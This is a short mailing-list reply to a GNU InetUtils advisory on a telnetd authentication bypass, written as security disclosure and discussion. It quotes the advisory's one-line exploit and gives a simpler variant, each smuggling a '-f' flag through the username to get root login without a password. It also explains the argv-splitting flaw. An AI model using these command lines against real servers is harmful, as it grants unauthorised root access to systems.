Re: GNU InetUtils Security Advisory: remote authentication by-pass in telnetd

[Paul Ducklin <pducklin () outlook com>]

> USER='-f root' telnet -a localhost

Seems that the same code path results from the even simpler incantation:

$ telnet -l 'root -f' server.test

The user-name-with-a-space-in-it doesn't get passed as a single argument
to execv(), but "helpfully" gets split back into two parts and passed to execv()
as two separate entries in argv[] :-)

Q. "Hey, if we call execv() directly, we'll avoid some of the risks associated with
shell-style command line processing. How good is that?"

A. "Hold my beer."

TELNET, eh? From the days when RFCs still had just three digits...